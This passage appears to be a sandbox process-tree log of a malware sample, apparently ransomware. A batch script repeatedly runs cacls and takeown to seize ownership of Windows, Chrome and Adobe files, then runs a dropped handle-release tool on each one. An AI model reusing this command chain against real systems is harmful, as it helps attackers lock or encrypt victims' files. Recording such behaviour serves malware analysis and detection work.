C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Mail\wabmig.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wabmig.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "wabmig.exe" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "wabmig.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Workflow.Targets" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Workflow.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.ba3c808c-7504-43e4-a568-7d35fba6f6ac.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.ba3c808c-7504-43e4-a568-7d35fba6f6ac.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.ba3c808c-7504-43e4-a568-7d35fba6f6ac.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MoUsoCoreWorker.ba3c808c-7504-43e4-a568-7d35fba6f6ac.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MoUsoCoreWorker.ba3c808c-7504-43e4-a568-7d35fba6f6ac.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.1f8bce32-c11f-44d8-8ba8-6a8b0e4ab604.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.1f8bce32-c11f-44d8-8ba8-6a8b0e4ab604.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.1f8bce32-c11f-44d8-8ba8-6a8b0e4ab604.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "WuProvider.1f8bce32-c11f-44d8-8ba8-6a8b0e4ab604.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "WuProvider.1f8bce32-c11f-44d8-8ba8-6a8b0e4ab604.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ActivitiesCache.db-shm" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ActivitiesCache.db-shm" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "CrashpadMetrics-active.pma" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "CrashpadMetrics-active.pma" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\MANIFEST-000001""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\MANIFEST-000001" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\MANIFEST-000001"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MANIFEST-000001" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MANIFEST-000001" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_1" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_1" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\MANIFEST-000001""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\MANIFEST-000001" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\MANIFEST-000001"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MANIFEST-000001" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MANIFEST-000001" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\MANIFEST-000001""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\MANIFEST-000001" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\MANIFEST-000001"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MANIFEST-000001" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MANIFEST-000001" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Identity-H" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Identity-H" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Identity-V" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Identity-V" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.adc60cc5-881a-4717-9b5b-b4b2a3c40fe9.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.adc60cc5-881a-4717-9b5b-b4b2a3c40fe9.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.adc60cc5-881a-4717-9b5b-b4b2a3c40fe9.1.etl"3⤵
-
-
